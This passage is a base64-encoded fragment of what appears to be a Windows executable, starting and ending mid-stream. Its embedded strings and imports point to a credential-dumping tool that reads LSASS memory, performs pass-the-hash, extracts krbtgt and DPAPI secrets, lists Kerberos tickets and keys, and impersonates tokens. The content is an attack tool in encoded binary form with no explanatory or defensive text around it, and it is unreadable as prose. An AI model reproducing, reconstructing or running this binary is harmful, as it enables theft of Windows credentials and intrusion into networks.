wAgAEwAUwBBAFMAUwAgAHAAcgBvAGMAZQBzAHMAIAAgAGMAbwBuAHQAZQB4AHQAAAAAAG0AaQBuAGkAZAB1AG0AcAAAAAAAUwB3AGkAdABjAGgAIAAoAG8AcgAgAHIAZQBpAG4AaQB0ACkAIAB0AG8AIABMAFMAQQBTAFMAIABtAGkAbgBpAGQAdQBtAHAAIABjAG8AbgB0AGUAeAB0AAAAAABiAG8AbwB0AGsAZQB5AAAAAAAAAFMAZQB0ACAAdABoAGUAIABTAGUAYwB1AHIAZQBLAGUAcgBuAGUAbAAgAEIAbwBvAHQAIABLAGUAeQAgAHQAbwAgAGEAdAB0AGUAbQBwAHQAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAATABTAEEAIABJAHMAbwBsAGEAdABlAGQAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAHAAdABoAAAAUABhAHMAcwAtAHQAaABlAC0AaABhAHMAaAAAAGsAcgBiAHQAZwB0ACEAAABkAHAAYQBwAGkAcwB5AHMAdABlAG0AAABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAgAHMAZQBjAHIAZQB0AAAAdABpAGMAawBlAHQAcwAAAEwAaQBzAHQAIABLAGUAcgBiAGUAcgBvAHMAIAB0AGkAYwBrAGUAdABzAAAAZQBrAGUAeQBzAAAATABpAHMAdAAgAEsAZQByAGIAZQByAG8AcwAgAEUAbgBjAHIAeQBwAHQAaQBvAG4AIABLAGUAeQBzAAAATABpAHMAdAAgAEMAYQBjAGgAZQBkACAATQBhAHMAdABlAHIASwBlAHkAcwAAAAAAYwByAGUAZABtAGEAbgAAAEwAaQBzAHQAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABNAGEAbgBhAGcAZQByAAAAAABzAGUAawB1AHIAbABzAGEAAAAAAFMAZQBrAHUAcgBMAFMAQQAgAG0AbwBkAHUAbABlAAAAUwB3AGkAdABjAGgAIAB0AG8AIABQAFIATwBDAEUAUwBTAAoAAAAAAFMAdwBpAHQAYwBoACAAdABvACAATQBJAE4ASQBEAFUATQBQACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBtAGkAbgBpAGQAdQBtAHAAIAA7ACAAPABtAGkAbgBpAGQAdQBtAHAAZgBpAGwAZQAuAGQAbQBwAD4AIABhAHIAZwB1AG0AZQBuAHQAIABpAHMAIABtAGkAcwBzAGkAbgBnAAoAAAAAACcAJQBzACcACgAAAE8AcABlAG4AaQBuAGcAIAA6ACAAJwAlAHMAJwAgAGYAaQBsAGUAIABmAG8AcgAgAG0AaQBuAGkAZAB1AG0AcAAuAC4ALgAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAUwBBAFMAUwAgAHAAcgBvAGMAZQBzAHMAIABuAG8AdAAgAGYAbwB1AG4AZAAgACgAPwApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBpAG4AaQBkAHUAbQBwACAAcABJAG4AZgBvAHMALQA+AFAAcgBvAGMAZQBzAHMAbwByAEEAcgBjAGgAaQB0AGUAYwB0AHUAcgBlACAAKAAlAHUAKQAgACEAPQAgAFAAUgBPAEMARQBTAFMATwBSAF8AQQBSAEMASABJAFQARQBDAFQAVQBSAEUAXwBJAE4AVABFAEwAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBpAG4AaQBkAHUAbQBwACAAdwBpAHQAaABvAHUAdAAgAFMAeQBzAHQAZQBtAEkAbgBmAG8AUwB0AHIAZQBhAG0AIAAoAD8AKQAKAAAAAAAAACAAIAA+ACAAUwBlAGMAdQByAGUASwBlAHIAbgBlAGwAIABzAHQAcgBlAGEAbQAgAGYAbwB1AG4AZAAgAGkAbgAgAG0AaQBuAGkAZAB1AG0AcAAgACgAJQB1ACAAYgB5AHQAZQBzACkACgAAACAAIAAgACAAJQB1ACAAYwBhAG4AZABpAGQAYQB0AGUAIABrAGUAeQBzACAAZgBvAHUAbgBkAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABtAGkAbQBpAGsAYQB0AHoAIAB4ADgANgAgAGMAYQBuAG4AbwB0ACAAYQBjAGMAZQBzAHMAIAB4ADYANAAgAHAAcgBvAGMAZQBzAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEsAZQB5ACAAaQBtAHAAbwByAHQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAbwBnAG8AbgAgAGwAaQBzAHQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AbwBkAHUAbABlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAbwBjAGEAbAAgAEwAUwBBACAAbABpAGIAcgBhAHIAeQAgAGYAYQBpAGwAZQBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBlAG0AbwByAHkAIABvAHAAZQBuAGkAbgBnAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABIAGEAbgBkAGwAZQAgAG8AbgAgAG0AZQBtAG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAJACUAcwAgADoACQAAAAAAVQBuAGQAZQBmAGkAbgBlAGQATABvAGcAbwBuAFQAeQBwAGUAAAAAAFUAbgBrAG4AbwB3AG4AIAAhAAAASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAATgBlAHQAdwBvAHIAawAAAEIAYQB0AGMAaAAAAFMAZQByAHYAaQBjAGUAAABQAHIAbwB4AHkAAABVAG4AbABvAGMAawAAAAAATgBlAHQAdwBvAHIAawBDAGwAZQBhAHIAdABlAHgAdAAAAAAATgBlAHcAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAABSAGUAbQBvAHQAZQBJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABDAGEAYwBoAGUAZABJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABDAGEAYwBoAGUAZABSAGUAbQBvAHQAZQBJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABDAGEAYwBoAGUAZABVAG4AbABvAGMAawAAAAAACgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AIABJAGQAIAA6ACAAJQB1ACAAOwAgACUAdQAgACgAJQAwADgAeAA6ACUAMAA4AHgAKQAKAFMAZQBzAHMAaQBvAG4AIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIABmAHIAbwBtACAAJQB1AAoAVQBzAGUAcgAgAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACUAdwBaAAoARABvAG0AYQBpAG4AIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAdwBaAAoATABvAGcAbwBuACAAUwBlAHIAdgBlAHIAIAAgACAAIAAgACAAOgAgACUAdwBaAAoAAAAAAEwAbwBnAG8AbgAgAFQAaQBtAGUAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAUwBJAEQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAABQAHIAZQB2AGkAbwB1AHMAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AawByAGIAdABnAHQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABmAGkAbgBkACAASwBEAEMAIABwAGEAdAB0AGUAcgBuACAAaQBuACAATABTAEEAUwBTACAAbQBlAG0AbwByAHkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBrAHIAYgB0AGcAdAAgADsAIABLAEQAQwAgAHMAZQByAHYAaQBjAGUAIABuAG8AdAAgAGkAbgAgAEwAUwBBAFMAUwAgAG0AZQBtAG8AcgB5AAoAAAAKACUAcwAgAGsAcgBiAHQAZwB0ADoAIAAAAAAAJQB1ACAAYwByAGUAZABlAG4AdABpAGEAbABzAAoAAAAJACAAKgAgACUAcwAgADoAIAAAAEQAUABBAFAASQBfAFMAWQBTAFQARQBNAAoAAABmAHUAbABsADoAIAAAAAAACgBtAC8AdQAgADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGQAcABhAHAAaQBfAHMAeQBzAHQAZQBtACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAYwBvAHAAeQAgACgAcgBnAGIAUwB5AHMAdABlAG0AQwByAGUAZABVAHMAZQByACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZABwAGEAcABpAF8AcwB5AHMAdABlAG0AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAG8AcAB5ACAAKAByAGcAYgBTAHkAcwB0AGUAbQBDAHIAZQBkAE0AYQBjAGgAaQBuAGUAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBkAHAAYQBwAGkAXwBzAHkAcwB0AGUAbQAgADsAIABOAG8AdAAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAZAAhAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZABwAGEAcABpAF8AcwB5AHMAdABlAG0AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAG8AcAB5ACAAKABiAG8AbwBsACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZABwAGEAcABpAF8AcwB5AHMAdABlAG0AIAA7ACAAUABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkACAAaQBuACAARABQAEEAUABJACAAcwBlAHIAdgBpAGMAZQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBkAHAAYQBwAGkAXwBzAHkAcwB0AGUAbQAgADsAIABEAFAAQQBQAEkAIABzAGUAcgB2AGkAYwBlACAAbgBvAHQAIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAAbAB1AGkAZAAAAAAAAAAAAHUAcwBlAHIACQA6ACAAJQBzAAoAZABvAG0AYQBpAG4ACQA6ACAAJQBzAAoAcAByAG8AZwByAGEAbQAJADoAIAAlAHMACgBpAG0AcABlAHIAcwAuAAkAOgAgACUAcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAGQAbwBtAGEAaQBuAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIAB1AHMAZQByAAoAAAAAAEEARQBTADEAMgA4AAkAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAxADIAOAAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAxADIAOAAgAGsAZQB5ACAAbwBuAGwAeQAgAHMAdQBwAHAAbwByAHQAZQBkACAAZgByAG8AbQAgAFcAaQBuAGQAbwB3AHMAIAA4AC4AMQAgACgAbwByACAANwAvADgAIAB3AGkAdABoACAAawBiADIAOAA3ADEAOQA5ADcAKQAKAAAAQQBFAFMAMgA1ADYACQA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAANgA0ACAAKAAzADIAIABiAHkAdABlAHMAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbwBuAGwAeQAgAHMAdQBwAHAAbwByAHQAZQBkACAAZgByAG8AbQAgAFcAaQBuAGQAbwB3AHMAIAA4AC4AMQAgACgAbwByACAANwAvADgAIAB3AGkAdABoACAAawBiADIAOAA3ADEAOQA5ADcAKQAKAAAATgBUAEwATQAJADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAbgB0AGwAbQAgAGgAYQBzAGgALwByAGMANAAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAbQBvAGQAZQAJADoAIAByAGUAcABsAGEAYwBpAG4AZwAgAE4AVABMAE0ALwBSAEMANAAgAGsAZQB5ACAAaQBuACAAYQAgAHMAZQBzAHMAaQBvAG4ACgAAACAAIAB8ACAAIABQAEkARAAgACAAJQB1AAoAIAAgAHwAIAAgAFQASQBEACAAIAAlAHUACgAAAAAAKgAqACAAVABvAGsAZQBuACAASQBtAHAAZQByAHMAbwBuAGEAdABpAG8AbgAgACo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wdFByb3RlY3REYXRhAACDAENyeXB0RGVjb2RlT2JqZWN0RXgALwBDZXJ0RW51bVN5c3RlbVN0b3JlAAQAQ2VydEFkZENlcnRpZmljYXRlQ29udGV4dFRvU3RvcmUAACwAQ2VydEVudW1DZXJ0aWZpY2F0ZXNJblN0b3JlAL8AQ3J5cHRRdWVyeU9iamVjdAAASwBDZXJ0R2V0TmFtZVN0cmluZ1cAAENSWVBUMzIuZGxsAAYAQ0RMb2NhdGVDaGVja1N1bQAABABDREdlbmVyYXRlUmFuZG9tQml0cwAADABNRDVJbml0AA0ATUQ1VXBkYXRlAAsATUQ1RmluYWwAAAUAQ0RMb2NhdGVDU3lzdGVtAGNyeXB0ZGxsLmRsbAAAVwBEbnNRdWVyeV9BAAAmAERuc0ZyZWUARE5TQVBJLmRsbAAACABGaWx0ZXJGaW5kTmV4dAAABwBGaWx0ZXJGaW5kRmlyc3QARkxUTElCLkRMTAAABgBXTmV0QWRkQ29ubmVjdGlvbjJXAAwAV05ldENhbmNlbENvbm5lY3Rpb24yVwAATVBSLmRsbAAQAERzR2V0RGNOYW1lVwAAZQBOZXRBcGlCdWZmZXJGcmVlAAANAU5ldFdrc3RhVXNlckVudW0AAO8ATmV0U2hhcmVFbnVtAADzAE5ldFN0YXRpc3RpY3NHZXQAAOcATmV0U2Vzc2lvbkVudW0AALwATmV0UmVtb3RlVE9EAADcAE5ldFNlcnZlckdldEluZm8AAA0ARHNFbnVtZXJhdGVEb21haW5UcnVzdHNXAABORVRBUEkzMi5kbGwAAE9EQkMzMi5kbGwAABAAQ29DcmVhdGVJbnN0YW5jZQAAbABDb1VuaW5pdGlhbGl6ZQAAPwBDb0luaXRpYWxpemVFeAAAYwBDb1NldFByb3h5QmxhbmtldABoAENvVGFza01lbUZyZWUAb2xlMzIuZGxsAE9MRUFVVDMyLmRsbAAAYwFScGNCaW5kaW5nSW5xQXV0aENsaWVudFcAAHEBUnBjQmluZGluZ1NldE9wdGlvbgBfAVJwY0JpbmRpbmdGcm9tU3RyaW5nQmluZGluZ1cAAO4BUnBjU3RyaW5nQmluZGluZ0NvbXBvc2VXAABuAVJwY0JpbmRpbmdTZXRBdXRoSW5mb0V4VwAA8gFScGNTdHJpbmdGcmVlVwAAfQBNZXNIYW5kbGVGcmVlAI8BUnBjSW1wZXJzb25hdGVDbGllbnQAALABUnBjUmV2ZXJ0VG9TZWxmAHwATWVzRW5jb2RlSW5jcmVtZW50YWxIYW5kbGVDcmVhdGUAAHkATWVzRGVjb2RlSW5jcmVtZW50YWxIYW5kbGVDcmVhdGUAAF0BUnBjQmluZGluZ0ZyZWUAAH4ATWVzSW5jcmVtZW50YWxIYW5kbGVSZXNldADzAE5kck1lc1R5cGVFbmNvZGUyAPEATmRyTWVzVHlwZURlY29kZTIA9ABOZHJNZXNUeXBlRnJlZTIA7wBOZHJNZXNUeXBlQWxpZ25TaXplMgAAdQFScGNCaW5kaW5nVmVjdG9yRnJlZQAAzQFScGNTZXJ2ZXJVc2VQcm90c2VxRXBXAADDAVJwY1NlcnZlclVucmVnaXN0ZXJJZkV4AHMBUnBjQmluZGluZ1RvU3RyaW5nQmluZGluZ1cAAAQCVXVpZFRvU3RyaW5nVwC+AVJwY1NlcnZlclJlZ2lzdGVySWYyAACjAVJwY01nbXRXYWl0U2VydmVyTGlzdGVuALoBUnBjU2VydmVyTGlzdGVuALwBUnBjU2VydmVyUmVnaXN0ZXJBdXRoSW5mb1cAAIABUnBjRXBVbnJlZ2lzdGVyAH4BUnBjRXBSZWdpc3RlclcAALQBUnBjU2VydmVySW5xQmluZGluZ3MAAKIBUnBjTWdtdFN0b3BTZXJ2ZXJMaXN0ZW5pbmcAACAASV9ScGNCaW5kaW5nSW5xU2VjdXJpdHlDb250ZXh0AACVAE5kckNsaWVudENhbGwyAAAbAU5kclNlcnZlckNhbGwyAAD7AVV1aWRDcmVhdGUAAH8BUnBjRXBSZXNvbHZlQmluZGluZwBwAVJwY0JpbmRpbmdTZXRPYmplY3QAbwFScGNCaW5kaW5nU2V0QXV0aEluZm9XAACRAVJwY01nbXRFcEVsdElucUJlZ2luAACSAVJwY01nbXRFcEVsdElucURvbmUAlAFScGNNZ210RXBFbHRJbnFOZXh0VwAANQBJX1JwY0dldEN1cnJlbnRDYWxsSGFuZGxlAFJQQ1JUNC5kbGwAADoAUGF0aENvbWJpbmVXAAA4AFBhdGhDYW5vbmljYWxpemVXAGUAUGF0aElzUmVsYXRpdmVXAEkAUGF0aEZpbmRGaWxlTmFtZVcAWwBQYXRoSXNEaXJlY3RvcnlXAABTSExXQVBJLmRsbAATAFNhbUVudW1lcmF0ZVVzZXJzSW5Eb21haW4AHQBTYW1Mb29rdXBOYW1lc0luRG9tYWluAAAfAFNhbU9wZW5Eb21haW4AEQBTYW1FbnVtZXJhdGVEb21haW5zSW5TYW1TZXJ2ZXIAACEAU2FtT3BlblVzZXIAOABTYW1pQ2hhbmdlUGFzc3dvcmRVc2VyAAAcAFNhbUxvb2t1cElkc0luRG9tYWluAAAHAFNhbUNvbm5lY3QAAAYAU2FtQ2xvc2VIYW5kbGUAABsAU2FtTG9va3VwRG9tYWluSW5TYW1TZXJ2ZXIAABQAU2FtRnJlZU1lbW9yeQAmAFNhbVF1ZXJ5SW5mb3JtYXRpb25Vc2VyADAAU2FtU2V0SW5mb3JtYXRpb25Vc2VyACAAU2FtT3Blbkdyb3VwAAAQAFNhbUVudW1lcmF0ZUFsaWFzZXNJbkRvbWFpbgAsAFNhbVJpZFRvU2lkAB4AU2FtT3BlbkFsaWFzAAAVAFNhbUdldEFsaWFzTWVtYmVyc2hpcAASAFNhbUVudW1lcmF0ZUdyb3Vwc0luRG9tYWluAAAaAFNhbUdldE1lbWJlcnNJbkdyb3VwAAAZAFNhbUdldE1lbWJlcnNJbkFsaWFzAAAYAFNhbUdldEdyb3Vwc0ZvclVzZXIAU0FNTElCLmRsbAAAGABGcmVlQ29udGV4dEJ1ZmZlcgA0AFF1ZXJ5Q29udGV4dEF0dHJpYnV0ZXNXACcATHNhQ29ubmVjdFVudHJ1c3RlZAAoAExzYURlcmVnaXN0ZXJMb2dvblByb2Nlc3MAJgBMc2FDYWxsQXV0aGVudGljYXRpb25QYWNrYWdlAAAtAExzYUxvb2t1cEF1dGhlbnRpY2F0aW9uUGFja2FnZQAAKgBMc2FGcmVlUmV0dXJuQnVmZmVyABEARGVsZXRlU2VjdXJpdHlDb250ZXh0AAIAQWNxdWlyZUNyZWRlbnRpYWxzSGFuZGxlVwAWAEVudW1lcmF0ZVNlY3VyaXR5UGFja2FnZXNXAAAZAEZyZWVDcmVkZW50aWFsc0hhbmRsZQAlAEluaXRpYWxpemVTZWN1cml0eUNvbnRleHRXAABTZWN1cjMyLmRsbAAGAENvbW1hbmRMaW5lVG9Bcmd2VwAAU0hFTEwzMi5kbGwAwwFJc0NoYXJBbHBoYU51bWVyaWNXAD4BR2V0S2V5Ym9hcmRMYXlvdXQAGgFHZXRDbGlwYm9hcmRTZXF1ZW5jZU51bWJlcgAAFgFHZXRDbGlwYm9hcmREYXRhAAD8AlRyYW5zbGF0ZU1lc3NhZ2UAAOAARW51bUNsaXBib2FyZEZvcm1hdHMAAEkAQ2xvc2VDbGlwYm9hcmQAACIAQ2hhbmdlQ2xpcGJvYXJkQ2hhaW4AAK8ARGlzcGF0Y2hNZXNzYWdlVwAAJgJPcGVuQ2xpcGJvYXJkAE0CUmVnaXN0ZXJDbGFzc0V4VwAABgNVbnJlZ2lzdGVyQ2xhc3NXAAB8AlNlbmRNZXNzYWdlVwAAbgBDcmVhdGVXaW5kb3dFeFcAhwJTZXRDbGlwYm9hcmRWaWV3ZXIAAKYARGVzdHJveVdpbmRvdwA2AlBvc3RNZXNzYWdlVwAAnABEZWZXaW5kb3dQcm9jVwAAXQFHZXRNZXNzYWdlVwBVU0VSMzIuZGxsAAAEAERlc3Ryb3lFbnZpcm9ubWVudEJsb2NrAAAAQ3JlYXRlRW52aXJvbm1lbnRCbG9jawAAVVNFUkVOVi5kbGwABQBHZXRGaWxlVmVyc2lvbkluZm9TaXplVwAOAFZlclF1ZXJ5VmFsdWVXAAAGAEdldEZpbGVWZXJzaW9uSW5mb1cAVkVSU0lPTi5kbGwABQBIaWREX0dldEhpZEd1aWQAAQBIaWREX0ZyZWVQcmVwYXJzZWREYXRhAAAMAEhpZERfR2V0UHJlcGFyc2VkRGF0YQAVAEhpZFBfR2V0Q2FwcwAAAgBIaWREX0dldEF0dHJpYnV0ZXMAAAQASGlkRF9HZXRGZWF0dXJlABEASGlkRF9TZXRGZWF0dXJlAEhJRC5ETEwAPwFTZXR1cERpRGVzdHJveURldmljZUluZm9MaXN0AABDAVNldHVwRGlFbnVtRGV2aWNlSW50ZXJmYWNlcwBWAVNldHVwRGlHZXRDbGFzc0RldnNXAABuAVNldHVwRGlHZXREZXZpY2VJbnRlcmZhY2VEZXRhaWxXAABTRVRVUEFQSS5kbGwAAD4AU0NhcmRUcmFuc21pdAAKAFNDYXJkRGlzY29ubmVjdAAIAFNDYXJkQ29ubmVjdFcACQBTQ2FyZENvbnRyb2wAACoAU0NhcmRMaXN0UmVhZGVyc1cAFgBTQ2FyZEdldENhcmRUeXBlUHJvdmlkZXJOYW1lVwAkAFNDYXJkTGlzdENhcmRzVwAzAFNDYXJkUmVsZWFzZUNvbnRleHQADABTQ2FyZEVzdGFibGlzaENvbnRleHQAFABTQ2FyZEdldEF0dHJpYgAAEwBTQ2FyZEZyZWVNZW1vcnkAV2luU0N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2ATcKNyQ3MDdCN1U3hzeTN683uzfNN+A38jcMOB44MDhKOFw4bjh9OJw4tjjNODY5QzpROgc7gTvyO1s8bDy+PBU9SD1aPWA9cT2EPYo9kj2YPUE+gj6bPr4+3j5bP7k/AHAAAPQAAAAZMMYw9zA+MVYxhzG8MfIxSTKJMpwyojKqMrAy9jJVM7czdDSINAA1aDWFNZk1nzWwNcM1yTXRNdc15TXyNW02pDbjNuk2XTd7N4w3wzfJN9Y34jf+N1c4mjivONE43Tj0OP44DzkaOWM5rzniOe85BDo5Oj86UTpXOmg6ezqBOok6jzqnOrQ6DDswO4g7+DsQPD08pDyyPMU8yzzTPNk85zwIPQ09KT06PVU9cD1+PZA9oj3CPcs95z32PQE+Dz4rPjs+YD55PpA+rT68PtM+5j7zPgc/JT82Pz8/Vz9zP3k/nD+zP9E/6D8AAACAAAAAAQAAAjAKMDAwdzCVMLsw2jACMRgxMTFdMfkxCzISMi8ySDJOMpoyuzLcMukyAjMVMzEzRDNfM2kzcDPLM+MzBjQWNCg0QjRJNF80jDSSNMQ0zDTSNCE1NDVVNSQ2hjaPNq02vzbRNuM2+DYKNxw3LjdDN083XDdoN343izesN9E38zcJOBU4NziOOG05yDkAOl86nTqmOsM61TrnOvk6DjsgOzI7PjtZO2U7eDuEO547wTvsO/Y7EzwlPDc8STxePGo8fTyJPKA84zwlPdg9Kj5ePow+nz6vPr0+xD7fPvo+Bj8XPys/Oz9WP2M/aj95P5A/vz/PP90/AAAAkAAApAAAAAAwBjAdMDUwQzBsMJswxTDOMP8wBTEhMTQxQjFRMVsxfjGsMdIx9zEJMlAylTK2MvoyBzNBM3ozmDPZMxA0tzQINXM1qTW7NQw2HDZNNl82nTatNsg27zYdNzA3RzeMN5k31zz3PP48HT0pPTI9QT1HPU09Uz1bPWE9bD10PXo9nD2hPcQ94D30Pfs9DD4sPoU+2j7qPp4/2D/dPwCgAACUAAAANDCyMLowwDDIMM4w5jDsMPkwATEHMQ4xKjGoMa8xxjHRMdox9jH9MRcydDKQMqMytDLBMtAycDNtNIA0lDSiNPg0GDVWNV41jTVGNmM2+zbwN0A42jj6OF05ZTl9OZE6xzoVOyM7QTttO5k73jshPIY8+Tw0PT89hT3fPfk9Ej4vPkM+bj+WP9M/8z8AsAAABAEAABcwmDHPMeoxMTJtMrMy0zI5M1wzZzOAM5kz0zPqM3Q0fjSkNKk0sDS3NL40xTTMNNM02jThNOg07zT2NP00BDULNRI1GTUgNS01QDVKNXE1rTXWNd015DXrNf01CTYXNh82KjYyNjg2QDZGNmA2ZDZoNmw2cDZ0Nng2fDaANoQ2iDaMNpA2lDaYNpw2oDakNqg2rDawNrQ2uDbcNus2GDdAN043YzePN6830Df+Nxc4Kzg1OEY4gDiiOLE4wDjQONg43jjsOAc5EzkZOU05aTl7OeA5CDpxOn46hjq2OsY60DrXOm87vDvwOwI8kTzBPOA98j3APvA+mj+sPwDAAADQAAAAPDBOMDExejGMMWUyvTJPM2EzgzOVM+YzLjRuNHw0hTSoNCE1LzWvNeU16zX/NR42LDZCNlA2VjZyNnw2yTb7Nho3kjfpN/w3SjjYON449Dj6OA85FjltOXs52DnjOfE5eDqDOis7MTtKO2g7hDsaPDo8RjxNPFg8YDxmPG48dDywPL887DwUPSI9Nz1jPYM9pD3bPfQ9Cj4UPiU+Xz6BPoc+lj6mPq4+tD7CPt0+6T7vPic/LD81Pzs/QT9HP4o/nD/SP+I/AAAA0AAAUAEAAAQwGjAwMEIwUDBjMHIwfjCNMJ8wqDC/MNAw8TAUMSkxMDFHMVkxYjFoMXgxhTGwMcMx2jHuMQIyCDIZMjEyQjJaMngyiDKcMrkywDLXMuky7jL3Mh0zIzM5M1AzVjNyM3gznDO6M9cz4zPsM/8zEzQtNDk0UzRfNHk0qTSzNMQ01DQBNRg1PTVHNVw1kzWjNbM1uzXLNeQ1/jUINjY2SzZTNnA2ijaPNpk2uDbQNhY3LDdEN1Q3XDd8N9E34jfnN+03AzgkOEc4cTh6OOE4EDkVORo5JDkuOTM5ODlCOUw5UTlWOWA5ajlvOXQ5fjmUOZ05qDmuObU5uznGOdA52DnqOTI66DryOhY7HTssOzs7VjtjO4I79DsBPDc8YzxwPIM8jDyVPAA9Qz2YPdw98T34PRg+hj6uPj4/RT9NP1w/aT+BP4g/mT8A4AAAvAEAAAAwODDUMNkwFzEjMUUxSzFRMVsxczGXMfcxAjIRMhgyHzImMk4y5jLxMvsyHDNGM14zbzN8M4MzijPGM+EzzTSENY81pTXzNXo2fzaXNq822zYNN1c3YDdxN3k3mTe5N7831DfwN/Y3CzguODw4TzhXOGw4czh5OIY4jzigOKs4vzjOONY43jjmOO449jgEOSI5Jzk2OT85TDldOWU5djmAOY45mjmnObM5uDnXOd054zkBOgc6DTorOjE6NzpVOls6YTp1Ono6fzqJOpM6mDqdOqc6sTq2Ors6xTrPOtQ62TrjOu068jr3OgE7CzsQOxU7HzszOzk7PztdO2M7aTuHO407kzuxO7c7vTveO+Q76jsLPBE8Fzw4PD48RDxlPGs8cTySPJg8njyyPLc8vDzGPNA81TzaPOQ87jzzPPg8Aj0MPRE9Fj0gPT09Qz1JPWY9bD1yPYo9kD2WPbQ9uj3APeE95z3